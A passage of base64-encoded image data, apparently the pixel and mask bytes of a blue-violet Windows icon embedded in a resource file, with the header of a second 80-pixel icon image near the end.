2f86OuL/Ozvm/zs75/86OuP/Nzfa/zg4zf+treb////////////+/v7+/////////////////v7+/8XF + 7f8/P87/Nzfa/zo65f87O+r/Ozvs/zs77P87O+z/Ozvs/zs77P87O+3/Ozvt/zs77f87O+3/Ozvt/zs7 + 7v87O+7/Ozvu/zs77v87O+//RETv/zo67v8EBFGJAAAAKgAABgwAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAABwDAAACFQICUHgqKuD/QkLj/0FB4/9BQeP/QUHk/0FB5P9BQeT/QUHk/0FB5f9BQeX/QUHl/0FB + 5f9BQeb/QUHm/0FB5v9BQeb/QUHl/z8/4P88PNb/QUHJ/8fH7P/+/v7///////////////////////// + ////////sbHm/zw8zP89Pdr/QEDk/0FB6P9BQer/QUHq/0FB6f9AQOX/PT3c/zw8zv+xsef///////7+ + /v7//////////////////////v7+/8fH7v9BQc//PDzc/z8/5/9BQev/QUHu/0FB7v9BQe7/QUHu/0FB + 7/9BQe//QUHv/0FB7/9BQe//QUHv/0FB7/9BQe//QUHv/0FB8P9WVvL/ISHq+gICGloAAAAfAAAJBwAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFQEAAAkNAQEVOxYW2PhKSub/SEjm/0hI5/9ISOf/SEjn/0hI + 5/9ISOf/SEjn/0hI5/9ISOf/SEjo/0hI6P9ISOj/SEjo/0hI6P9GRuT/Q0Pa/0dHzf/Ly+7///////// + /////////////////////////v7+/7Gx5v9BQc7/Q0Pd/0ZG5v9HR+r/SEjs/0hI7P9ISOz/SEjs/0dH + 6/9GRuf/Q0Pe/0FB0P+xsef//v7+/v///////////////////////////////8zM7/9HR9H/Q0Pf/0ZG + 6v9ISO7/SEjw/0hI8P9ISPD/SEjw/0hI8P9ISPH/SEjx/0hI8f9ISPH/SEjx/0hI8f9ISPH/SEjx/2Ji + 8/8MDLvXAAADPgAAABYAAAwDAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFwcAAAIiBwelxklJ + 6P9OTuj/Tk7o/05O6f9OTun/Tk7p/05O6f9OTun/Tk7p/05O6f9OTun/Tk7p/05O6v9OTur/TU3o/0tL + 4P9LS9P/yMju//////////////////////////////////7+/v+zs+f/SEjQ/0lJ3v9MTOj/Tk7s/05O + 7f9OTu7/Tk7u/05O7v9OTu7/Tk7u/05O7f9MTOn/SUnf/0hI0v+zs+j+/v7+//////////////////// + /////////////8nJ7/9LS9j/S0vm/01N7v9OTvH/Tk7x/05O8f9OTvH/Tk7x/05O8v9OTvL/Tk7y/05O + 8v9OTvL/Tk7y/05O8v9TU/P/UVHz/wUFc58AAAAuAAAGDgAACQEAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAQEgAwAAABUCAlp9NDTm/lVV6v9VVer/VVXr/1VV6/9VVev/VFTr/1RU6/9UVOv/VFTr/1RU + 6/9UVOv/VFTr/1RU6/9TU+j/T0/e/4eH3//+/v7////////////////////////////+/v7/tbXn/05O + 0f9PT9//U1Pp/1RU7f9UVO7/VFTv/1RU7/9UVO//VFTv/1RU7/9UVO//VFTv/1RU7v9TU+r/T0/h/05O + 0/61tej//v7+/////////////////////////////v7+/4eH4v9PT+P/U1Pu/1VV8v9VVfL/VVXy/1VV + 8/9VVfP/VVXz/1VV8/9VVfP/VVX0/1VV9P9VVfT/VVX0/2tr9f8qKuv4AwMnYAAAACAAAA0HAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABsBAQEPDAEBFDcYGNLsWlrs/1tb7P9bW+z/W1vt/1tb + 7f9bW+3/W1vt/1tb7f9bW+3/W1vu/1tb7v9bW+7/W1vu/1pa6v9VVd//m5vk//////////////////// + /////////v7+/7e36P9TU9L/VVXh/1lZ6v9aWu//W1vw/1tb8P9bW/H/W1vx/1tb8f9bW/H/W1vx/1tb + 8f9bW/H/W1vx/1pa8P9ZWez/VVXj/lNT1f+3t+n/////////////////////////////////m5vm/1VV + 4/9aWu//W1vz/1tb8/9bW/P/W1v0/1tb9P9bW/T/W1v0/1tb9P9bW/X/W1v1/1tb9f9cXPX/c3P2/wkJ + sMwAAAE5AAAAFAAAEQMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADAyMGAAAAGgQE + h6ROTuz/YWHu/2Fh7/9hYe//YWHv/2Fh7/9hYe//YWHv/2Fh7/9hYe//YWHv/2Fh8P9hYfD/YGDt/1xc + 4/9vb9r/9fX8//////////////////////+7u+n/WFjT/1tb4v9fX+z/YWHw/2Fh8v9hYfL/YWHy/2Fh + 8v9hYfL/YWHy/2Fh8v9hYfL/YWHz/2Fh8/9hYfP/YWHz/2Fh8f9fX+7+W1vl/1hY1v+7u+r///////// + //////////////b2/P9vb93/XFzn/2Bg8v9hYfX/YWH1/2Fh9f9hYfX/YWH1/2Fh9f9hYfX/YWH1/2Fh + 9f9hYfX/YWH2/3Bw9v9KSvP9BQVPfgAAACYBAQ0LAAAKAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAICJgIBAQwPAgIoRiYm4PVnZ/D/aGjw/2ho8P9oaPD/aGjx/2ho8f9oaPH/aGjx/2ho + 8f9oaPH/aGjx/2ho8f9nZ+//ZWXp/19f3v+Hh93/9fX7///////9/f7/urrq/11d1f9hYeP/ZWXt/2dn + 8f9oaPP/aGjz/2ho8/9oaPP/aGj0/2ho9P9oaPT/aGj0/2ho9P9oaPT/aGj0/2ho9P9oaPT/aGj0/2dn + 8/5lZe//YWHm/11d1/+6uuv//f3+///////19fz/h4ff/19f4f9lZe3/Z2f0/2ho9v9oaPb/aGj2/2ho + 9v9oaPb/aGj2/2ho9/9oaPf/aGj3/2ho9/9oaPf/iIj4/xERydsBAQc/AAAAFwEBEwUAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQEKAYAAAAbBgaRqlxc8P5ubvL/bm7y/25u + 8v9ubvL/bm7y/25u8v9ubvL/bm7y/25u8v9ubvL/bm7y/25u8v9tbfD/amrq/2Vl4P90dNz/l5fj/4eH + 3/9lZdz/aGjm/2tr7v9ubvP/bm70/25u9P9ubvT/bm70/25u9f9ubvX/bm71/25u9f9ubvX/bm71/25u + 9f9ubvX/bm71/25u9f9ubvX/bm71/m5u9P9ra/D/aGjo/2Vl3v+Hh+H/l5fk/3R03v9lZeP/amrt/21t + 8/9ubvb/bm73/25u9/9ubvf/bm73/25u9/9ubvf/bm73/25u+P9ubvj/bm74/319+P9YWPX9BQVWgwAA + ACcAAAgMAAAQAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAQrAgIC + Dg4CAiJAJyfg8XR08/91dfP/dXXz/3R08/90dPT/dHT0/3R09P90dPT/dHT0/3R09P90dPT/dHT0/3R0 + 9P9zc/H/cXHu/29v6f9tbeb/bm7o/3Bw7P9ycvD/dHT0/3R09v90dPb/dHT2/3R09v90dPb/dHT2/3R0 + 9v90dPb/dHT2/3R09v90dPb/dHT2/3R09/90dPf/dHT3/3R09/90dPf+dXX3/3R09f9ycvL/cHDu/25u + 6f9tbej/b2/r/3Fx8P9zc/X/dHT3/3V1+P91dfj/dXX4/3V1+P91dfj/dXX4/3V1+P91dfj/dXX4/3V1 + +P92dvj/lZX6/xERw9QBAQY7AAABFgMDGgUAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAABQUnBgAAABcEBHiQW1vy/3t79P97e/T/e3v1/3t79f97e/X/e3v1/3t7 + 9f97e/X/e3v1/3t79f97e/X/e3v1/3t79v96evX/enrz/3l58/96evP/enr0/3t79f97e/b/e3v2/3t7 + 9v97e/b/e3v2/3t79v97e/f/e3v3/3t79/97e/f/e3v3/3t79/97e/f/e3v3/3t79/97e/f/e3v3/3t7 + 9/57e/j/e3v3/3t79/96evb/enr1/3l59f96evX/enr3/3t7+P97e/n/e3v5/3t7+f97e/n/e3v5/3t7 + +f97e/n/e3v5/3t7+f97e/n/e3v5/5SU+v9LS/X8BQU8awAAACICAg4KAQETAQAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEBCsBBAQUCwAACCYXF8naenr1/4GB + 9v+Bgfb/gYH2/4GB9v+Bgfb/gYH2/4GB9v+Bgfb/gYH2/4GB9v+Bgff/gYH3/4GB9/+Bgff/gYH3/4GB + 9/+Bgff/gYH3/4GB9/+Bgff/gYH3/4GB9/+Bgff/gYH3/4GB+P+Bgfj/gYH4/4GB+P+Bgfj/gYH4/4GB + +P+Bgfj/gYH4/4GB+P+Bgfj/gYH4/oGB+P+Bgfj/gYH4/4GB+f+Bgfn/gYH5/4GB+f+Bgfn/gYH5/4GB + +f+Bgfn/gYH5/4GB+f+Bgfn/gYH5/4GB+f+Bgfn/gYH5/4GB+f+Kivr/ior6/wsLlbAAAAAuAAADEQQE + HgMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAJCTUDAQEEEAMDN1E3N+r2h4f3/4iI9/+IiPf/iIj3/4iI9/+IiPj/iIj4/4iI+P+IiPj/iIj4/4iI + +P+IiPj/iIj4/4iI+P+IiPj/iIj4/4iI+P+IiPn/iIj5/4iI+f+IiPn/iIj5/4iI+f+IiPn/iIj5/4iI + +f+IiPn/iIj5/4iI+f+IiPn/iIj5/4iI+f+IiPn/iIj6/4iI+v+IiPn+iIj6/4iI+v+IiPr/iIj6/4iI + +v+IiPr/iIj6/4iI+v+IiPr/iIj6/4iI+v+IiPr/iIj6/4iI+v+IiPr/iIj7/4iI+/+IiPv/ior7/6Oj + /P8iItTgAgIRQwAAABgFBRsGAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAICCoGAAAAFwYGdIdUVPT9jo74/46O+P+Ojvj/jo74/46O + +P+Ojvj/jo74/46O+f+Ojvn/jo75/46O+f+Ojvn/jo75/46O+f+Ojvn/jo75/46O+f+Ojvr/jo76/46O + +v+Ojvr/jo76/46O+v+Ojvr/jo76/46O+v+Ojvr/jo76/46O+v+Ojvr/jo76/46O+v+Ojvr/jo76/46O + +v6Ojvr/jo76/46O+v+Ojvr/jo76/46O+v+Ojvr/jo77/46O+/+Ojvv/jo77/46O+/+Ojvv/jo77/46O + +/+Ojvv/jo77/46O+/+oqPz/SEju9AUFPmcAAAAhAwMPCgMDGwEAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAcHMQEICCIJAAAFIAoK + orBpaff+lJT5/5SU+f+UlPn/lJT5/5SU+f+UlPn/lJT6/5SU+v+UlPr/lJT6/5SU+v+UlPr/lJT6/5SU + +v+UlPr/lJT6/5SU+v+UlPr/lJT6/5SU+v+UlPr/lJT6/5SU+v+UlPr/lJT6/5SU+v+UlPr/lJT6/5SU + +v+UlPr/lJT6/5SU+v+UlPr/lJT6/pSU+/+UlPv/lJT7/5SU+/+UlPv/lJT7/5SU+/+UlPv/lJT7/5SU + +/+UlPz/lJT8/5SU/P+UlPz/lJT8/5SU/P+UlPz/qKj8/2Bg9/wHB2qKAAAAKAICCA8GBiMDAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAoKOgIDAxAMAQESLA4Ov8p2dvn/mpr6/5qa+v+amvr/mpr6/5qa+v+amvr/mpr6/5qa + +v+amvr/mpr6/5qa+v+amvr/mpr6/5qa+v+amvv/mpr7/5qa+/+amvv/mpr7/5qa+/+amvv/mpr7/5qa + +/+amvv/mpr7/5qa+/+amvv/mpr7/5qa+/+amvv/mpr7/5qa+/+amvv+mpr7/5qa+/+amvz/mpr8/5qa + /P+amvz/mpr8/5qa/P+amvz/mpr8/5qa/P+amvz/mpr8/5qa/P+amvz/mpr8/6mp/P9sbPv+CQmOpQAA + Ay4BAQMSBwchBAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAwMPQMEBBEOAQEWNBAQzNiFhfr/n5/6/5+f + +/+fn/v/n5/7/5+f+/+fn/v/n5/7/5+f+/+fn/v/n5/7/5+f+/+fn/v/n5/7/5+f+/+fn/v/n5/7/5+f + +/+fn/v/n5/7/5+f+/+fn/v/n5/7/5+f+/+fn/v/n5/7/5+f+/+fn/v/n5/7/5+f+/+fn/v/n5/7/5+f + +/6fn/z/n5/8/5+f/P+fn/z/n5/8/5+f/P+fn/z/n5/8/5+f/P+fn/z/n5/8/5+f/P+fn/z/n5/8/5+f + /P+urv3/dHT7/wkJobQAAAQyAAADFAkJJQYAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA0N + QgMCAggOAgIbNRQUzteFhfv/pKT8/6Sk/P+kpPz/pKT8/6Sk/P+kpPz/pKT8/6Sk/P+kpPz/pKT8/6Sk + /P+kpPz/pKT8/6Sk/P+kpPz/pKT8/6Sk/P+kpPz/pKT8/6Sk/P+kpPz/pKT8/6Sk/P+kpPz/pKT8/6Sk + /P+kpPz/pKT8/6Sk/P+kpPz/pKT8/qSk/f+kpP3/pKT9/6Sk/f+kpP3/pKT9/6Sk/f+kpP3/pKT9/6Sk + /f+kpP3/pKT9/6Sk/f+lpf3/s7P9/21t+/4JCaS2AAADMAAAABUFBRkGAwMbAQAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAsLNgQEBBEOAQEXNBQUw8qDg/v+qqr8/6qq/P+qqvz/qqr8/6qq + /P+qqvz/qqr8/6qq/P+qqvz/qqr8/6qq/P+qqvz/qqr8/6qq/P+qqvz/qqr8/6qq/P+qqvz/qqr8/6qq + /P+qqvz/qqr8/6qq/P+qqvz/qqr8/6qq/P+qqvz/qqr8/6qq/P+qqvz+qqr9/6qq/f+qqv3/qqr9/6qq + /f+qqv3/qqr9/6qq/f+qqv3/qqr9/6qq/f+qqv3/rKz9/7m5/f9eXvr8CAiVqQAABTAAAAAUBQUZBgMD + HgEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAQRAMFBRINAgITKxMT + qbB+fvr9r6/8/6+v/P+vr/z/r6/8/6+v/P+vr/z/r6/8/6+v/P+vr/z/r6/8/6+v/P+vr/z/r6/8/6+v + /P+vr/z/r6/8/6+v/f+vr/3/r6/9/6+v/f+vr/3/r6/9/6+v/f+vr/3/r6/9/6+v/f+vr/3/r6/9/6+v + /f6wsP3/sLD9/7Cw/f+wsP3/sLD+/7Cw/v+wsP7/sLD+/7Cw/v+wsP7/sLD+/7Oz/v+6uv3/SEj09wgI + eo4AAAQrAQEDEwkJJgYDAx8BAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAABAQQQMICBkLAAAFHwwMeoVlZfT2srL9/7S0/f+0tP3/tLT9/7S0/f+0tP3/tLT9/7S0 + /f+0tP3/tLT9/7S0/f+0tP3/tLT9/7S0/f+0tP3/tLT9/7S0/f+0tP3/tLT9/7S0/f+0tP3/tLT9/7S0 + /f+0tP3/tLT9/7S0/f+0tP3/tLT9/rS0/v+0tP7/tLT+/7S0/v+0tP7/tLT+/7S0/v+0tP7/tLT+/7S0 + /v+/v/7/qKj9/ygo4+YGBkxpAAAAIwEBAxAJCSkFAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABISQwINDSYIAAAAFQUFPE89PdXXpqb9/7i4 + /f+4uP3/uLj9/7i4/f+4uP3/uLj9/7i4/f+4uP3/uLj9/7i4/f+4uP3/uLj9/7i4/f+4uP3/uLj9/7i4 + /f+4uP3/uLj9/7i4/f+4uP3/uLj9/7i4/f+4uP3/uLj9/7i4/f+4uP3+uLj+/7i4/v+4uP7/uLj+/7i4 + /v+4uP7/uLj+/7i4/v+8vP7/yMj+/3Jy/P4QELG6AwMbQAAAABsDAw0MCwsvAwAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAQ + OQEVFToFBgYODgEBByETE3qFcXHv7ra2/v69vf7/vb3+/729/v+9vf7/vb3+/729/v+9vf7/vb3+/729 + /v+9vf7/vb3+/729/v+9vf7/vb3+/729/v+9vf7/vb3+/729/v+9vf7/vb3+/729/v+9vf7/vb3+/729 + /f69vf7/vb3+/729/v+9vf7/vb3+/729/v/AwP7/ysr+/56e/v4sLNrdBwdQawAAACUBAQITCgohCAkJ + LgIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYGD8CExMrCAEBAhQDAyY7Jyejp39/9vS4uP7/wcH//8HB + ///Bwf//wcH//8HB///Bwf//wcH//8HB///Bwf//wcH//8HB///Bwf//wcH//8HB///Bwf//wcH//8HB + ///Bwf//wcH//8HB///Bwf//wcH+/sHB///Bwf//wcH//8HB///Gxv//zMz+/56e/v88POjpCAiBkAIC + DzMAAAAZBAQODA0NLwQGBiQBAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAATEzgBGho/BA4O + HgsBAQIXBAQvQSEhm6Fpae3sp6f+/8TE///Fxf//xcX//8TE///ExP//xMT//8TE///ExP//xMT//8TE + ///ExP//xMT//8TE///ExP//xMT//8TE///ExP//xMT//8TE///ExP7+xcX//8jI///Ozv//v7/+/35+ + /f4yMt7fCQl9iwICFjkAAAAcBQUPDw0NKgYLCy0BAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAFxc/ARwcQgUPDyILAAAAFgICGDEMDGp3MTHBw2ho+feZmf7/v7///8rK + ///Kyv//ycn//8jI///IyP//yMj//8jI///IyP//yMj//8jI///IyP//yMj//8rK///MzP//z8///87O + /v6wsP//fX3//0BA8u4TE6uzBgZQZwEBDS4AAAAaBQUPDg8PMAcNDTMCAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABQUPAEZGT8EEhIsCQIC + BRAAAAIbAwMcNAcHYXAREaOqLi7h2ktL/PtjY/7/fn7//5WV//+hof//ra3//7Cw//+wsP//q6v//6Ki + //+QkP//eHj//1hY//8+Pvr2GRnPzgsLlp4HB1FkAQEMMAAAAB0AAAATCQkbCw0NMAULCzMCAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAFRVEAhMTOwUMDCQJBQUQDwEBAxUAAAAdAgILKAcHQVECAlBqCQmFhwcH + kpkFBZejBASbqQQEm6kHB5ahCAiQlgcHeIAEBExmCAg4SQAAAiYAAAAfAAABGAEBBREJCSALCwssBg0N + OQIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAANDUABEBBFAw4O + PAUICCgICAgiDAICDA8DAw0SAwMLFAAAABYAAAAXAAAAFwAAABYAAAIVAwMNEwICDBAEBBcNBwcmCQkJ + MAYLCzoECws8AgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABgY8AQgIRQEICEcCBAQ6AwUFOgMFBTkDBAQ5AwUF + OAIICEMCBgY6AQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAP////////////8AAP/////wB/////8AAP////wAAD////8AAP///+AAAAf///8AAP// + /wAAAAD///8AAP///AAAAAA///8AAP//8AAAAAAP//8AAP//4AAAAAAH//8AAP//gAAAAAAB//8AAP// + AAAAAAAA//8AAP/+AAAAAAAAf/8AAP/8AAAAAAAAP/8AAP/4AAAAAAAAD/8AAP/wAAAAAAAAD/8AAP/g + AAAAAAAAB/8AAP/AAAAAAAAAA/8AAP+AAAAAAAAAAf8AAP+AAAAAAAAAAP8AAP8AAAAAAAAAAP8AAP4A + AAAAAAAAAH8AAP4AAAAAAAAAAD8AAPwAAAAAAAAAAD8AAPwAAAAAAAAAAB8AAPgAAAAAAAAAAB8AAPgA + AAAAAAAAAB8AAPAAAAAAAAAAAA8AAPAAAAAAAAAAAA8AAPAAAAAAAAAAAAcAAOAAAAAAAAAAAAcAAOAA + AAAAAAAAAAcAAOAAAAAAAAAAAAcAAOAAAAAAAAAAAAMAAMAAAAAAAAAAAAMAAMAAAAAAAAAAAAMAAMAA + AAAAAAAAAAMAAMAAAAAAAAAAAAMAAMAAAAAAAAAAAAMAAMAAAAAAAAAAAAMAAMAAAAAAAAAAAAMAAMAA + AAAAAAAAAAMAAMAAAAAAAAAAAAMAAMAAAAAAAAAAAAMAAMAAAAAAAAAAAAMAAMAAAAAAAAAAAAMAAMAA + AAAAAAAAAAMAAMAAAAAAAAAAAAMAAMAAAAAAAAAAAAMAAOAAAAAAAAAAAAMAAOAAAAAAAAAAAAcAAOAA + AAAAAAAAAAcAAOAAAAAAAAAAAAcAAPAAAAAAAAAAAAcAAPAAAAAAAAAAAA8AAPAAAAAAAAAAAA8AAPgA + AAAAAAAAAA8AAPgAAAAAAAAAAB8AAPwAAAAAAAAAAB8AAPwAAAAAAAAAAD8AAP4AAAAAAAAAAD8AAP4A + AAAAAAAAAH8AAP8AAAAAAAAAAP8AAP+AAAAAAAAAAP8AAP+AAAAAAAAAAf8AAP/AAAAAAAAAA/8AAP/g + AAAAAAAAB/8AAP/wAAAAAAAAB/8AAP/4AAAAAAAAD/8AAP/8AAAAAAAAH/8AAP/+AAAAAAAAf/8AAP// + AAAAAAAA//8AAP//gAAAAAAB//8AAP//4AAAAAAD//8AAP//8AAAAAAP//8AAP///AAAAAA///8AAP// + /wAAAAD///8AAP///+AAAAf///8AAP////wAAD////8AAP/////gB/////8AAP////////////8AAP// + //////////8AACgAAABQAAAAoAAAAAEAIAAAAAAAwGcAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAACAAAAAgAAAAIAAAACAAAAAgAA + 